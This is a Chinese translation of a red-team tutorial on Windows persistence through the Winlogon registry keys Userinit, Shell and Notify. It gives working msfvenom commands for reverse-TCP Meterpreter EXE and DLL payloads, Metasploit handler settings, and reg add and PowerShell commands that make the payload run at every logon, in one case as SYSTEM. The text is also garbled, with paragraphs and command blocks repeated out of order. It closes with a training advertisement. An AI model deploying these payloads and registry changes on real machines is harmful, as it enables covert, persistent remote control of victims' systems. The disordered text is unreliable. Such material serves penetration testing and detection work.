原文链接:https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/
翻译:看雪翻译小组-玉林小学生
校对:看雪翻译小组-sudozhange
Winlogon是一个Windows组件,主要负责处理登录、登出、认证时加载用户profile,关机、锁屏等活动。这类行为由注册表管理,它指定了Windows登录发生时执行什么进程。从红队视角看,这些事件可以用来触发执行任意payload以实现长久控制。
实现这种长久控制需要修改下面这些注册表项:
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。
Metasploit – Meterpreter
“Shell”注册表键值也可以产生上面类似的行为。
Registry Key – Shell
Windows执行授权操作时会执行恶意payload并建立一个连接。
Persistence – Shell Registry Key Modification
在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。
需要修改“DLLName”注册表项为任意DLL名。
下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。
Persistence Notify Registry Key – Meterpreter
除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。
也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。
参考文献:
https://attack.mitre.org/techniques/T1004/
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Metasploit工具”msfvenom”可用于产生任意格式的任意payloads。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。
Registry Key – Userinit
Payload被成功执行将开启一个Meterpreter会话。
“Shell”注册表键值也可以产生上面类似的行为。
Windows执行授权操作时会执行恶意payload并建立一个连接。
Persistence – Shell Registry Key Modification
在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > pentestlab.dll
Metasploit – msfvenom DLL Generation
需要修改“DLLName”注册表项为任意DLL名。
Registry Key – Notify
下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。
Persistence Notify Registry Key – Meterpreter
除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, pentestlab.exe" /f
Winlogon Registry Keys – Command Prompt
也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, pentestlab.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, pentestlab.exe" -Force
Winlogon Registry Keys – PowerShell
参考文献:
https://attack.mitre.org/techniques/T1004/
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)